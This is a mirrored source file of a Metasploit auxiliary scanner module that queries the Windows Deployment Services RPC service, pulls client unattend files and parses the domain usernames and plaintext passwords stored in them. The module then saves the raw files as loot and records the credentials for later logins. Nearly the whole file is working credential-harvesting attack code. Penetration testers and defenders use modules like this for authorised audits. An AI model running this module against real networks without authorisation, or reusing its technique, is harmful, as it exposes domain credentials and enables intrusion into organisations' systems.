CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Exploit::Remote::DCERPC
9
include Msf::Auxiliary::Report
10
include Msf::Auxiliary::Scanner
11
12
DCERPCPacket = Rex::Proto::DCERPC::Packet
13
DCERPCClient = Rex::Proto::DCERPC::Client
14
DCERPCResponse = Rex::Proto::DCERPC::Response
15
DCERPCUUID = Rex::Proto::DCERPC::UUID
16
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
17
18
def initialize(info = {})
19
super(update_info(info,
20
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',
21
'Description' => %q{
22
This module retrieves the client unattend file from Windows
23
Deployment Services RPC service and parses out the stored credentials.
24
Tested against Windows 2008 R2 x64 and Windows 2003 x86.
25
},
26
'Author' => [ 'Ben Campbell' ],
27
'License' => MSF_LICENSE,
28
'References' =>
29
[
30
[ 'URL', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
31
[ 'URL', 'http://rewtdance.blogspot.com/2012/11/windows-deployment-services-clear-text.html']
32
],
33
))
34
35
register_options(
36
[
37
Opt::RPORT(5040),
38
])
39
40
deregister_options('CHOST', 'CPORT', 'SSL', 'SSLVersion')
41
42
register_advanced_options(
43
[
44
OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
45
])
46
end
47
48
def run_host(ip)
49
begin
50
query_host(ip)
51
rescue ::Interrupt
52
raise $!
53
rescue ::Rex::ConnectionError => e
54
print_error("#{ip}:#{rport} Connection Error: #{e}")
55
ensure
56
# Ensure socket is pulled down afterwards
57
self.dcerpc.socket.close rescue nil
58
self.dcerpc = nil
59
self.handle = nil
60
end
61
end
62
63
def query_host(rhost)
64
# Create a handler with our UUID and Transfer Syntax
65
66
self.handle = Rex::Proto::DCERPC::Handle.new(
67
[
68
WDS_CONST::WDSCP_RPC_UUID,
69
'1.0',
70
],
71
'ncacn_ip_tcp',
72
rhost,
73
[datastore['RPORT']]
74
)
75
76
print_status("Binding to #{handle} ...")
77
78
self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
79
vprint_good("Bound to #{handle}")
80
81
report_service(
82
:host => rhost,
83
:port => datastore['RPORT'],
84
:proto => 'tcp',
85
:name => "dcerpc",
86
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
87
)
88
89
table = Rex::Text::Table.new({
90
'Header' => 'Windows Deployment Services',
91
'Indent' => 1,
92
'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']
93
})
94
95
creds_found = false
96
97
WDS_CONST::ARCHITECTURE.each do |architecture|
98
if architecture[0] == :ARM && !datastore['ENUM_ARM']
99
vprint_status "Skipping #{architecture[0]} architecture due to adv option"
100
next
101
end
102
103
begin
104
result = request_client_unattend(architecture)
105
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
106
vprint_error(e.to_s)
107
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
108
return nil
109
end
110
111
unless result.nil?
112
loot_unattend(architecture[0], result)
113
results = parse_client_unattend(result)
114
115
results.each do |result|
116
unless result.empty?
117
if result['username'] and result['password']
118
print_good("Retrieved #{result['type']} credentials for #{architecture[0]}")
119
creds_found = true
120
domain = ""
121
domain = result['domain'] if result['domain']
122
report_creds(domain, result['username'], result['password'])
123
table << [architecture[0], result['type'], domain, result['username'], result['password']]
124
end
125
end
126
end
127
end
128
end
129
130
if creds_found
131
print_line
132
table.print
133
print_line
134
else
135
print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")
136
end
137
end
138
139
def request_client_unattend(architecture)
140
# Construct WDS Control Protocol Message
141
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
142
143
guid = Rex::Text.rand_text_hex(32)
144
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid)
145
146
# Not sure what this padding is for...
147
mac = [0x30].pack('C') * 20
148
mac << Rex::Text.rand_text_hex(12)
149
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac)
150
151
arch = [architecture[1]].pack('C')
152
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch)
153
154
version = [1].pack('V')
155
packet.add_var( WDS_CONST::VAR_NAME_VERSION, version)
156
157
wdsc_packet = packet.create
158
159
vprint_status("Sending #{architecture[0]} Client Unattend request ...")
160
dcerpc.call(0, wdsc_packet, false)
161
timeout = datastore['DCERPC::ReadTimeout']
162
response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout)
163
164
if (response and response.stub_data)
165
vprint_status('Received response ...')
166
data = response.stub_data
167
168
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
169
op_error_code = data.unpack('v*')[19]
170
if op_error_code == 0
171
if data.length < 277
172
vprint_error("No Unattend received for #{architecture[0]} architecture")
173
return nil
174
else
175
vprint_status("Received #{architecture[0]} unattend file ...")
176
return extract_unattend(data)
177
end
178
else
179
vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
180
return nil
181
end
182
end
183
end
184
185
def extract_unattend(data)
186
start = data.index('<?xml')
187
finish = data.index('</unattend>')
188
if start and finish
189
finish += 10
190
return data[start..finish]
191
else
192
print_error("Incomplete transmission or malformed unattend file.")
193
return nil
194
end
195
end
196
197
def parse_client_unattend(data)
198
begin
199
xml = REXML::Document.new(data)
200
return Rex::Parser::Unattend.parse(xml).flatten
201
rescue REXML::ParseException => e
202
print_error("Invalid XML format")
203
vprint_line(e.message)
204
return nil
205
end
206
end
207
208
def loot_unattend(archi, data)
209
return if data.empty?
210
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
211
print_good("Raw version of #{archi} saved as: #{p}")
212
end
213
214
def report_cred(opts)
215
service_data = {
216
address: opts[:ip],
217
port: opts[:port],
218
service_name: opts[:service_name],
219
protocol: 'tcp',
220
workspace_id: myworkspace_id
221
}
222
223
credential_data = {
224
origin_type: :service,
225
module_fullname: fullname,
226
username: opts[:user],
227
private_data: opts[:password],
228
private_type: :password
229
}.merge(service_data)
230
231
login_data = {
232
core: create_credential(credential_data),
233
status: Metasploit::Model::Login::Status::UNTRIED,
234
proof: opts[:proof]
235
}.merge(service_data)
236
237
create_credential_login(login_data)
238
end
239
240
def report_creds(domain, user, pass)
241
report_cred(
242
ip: rhost,
243
port: 4050,
244
service_name: 'dcerpc',
245
user: "#{domain}\\#{user}",
246
password: pass,
247
proof: domain
248
)
249
end
250
end
251
252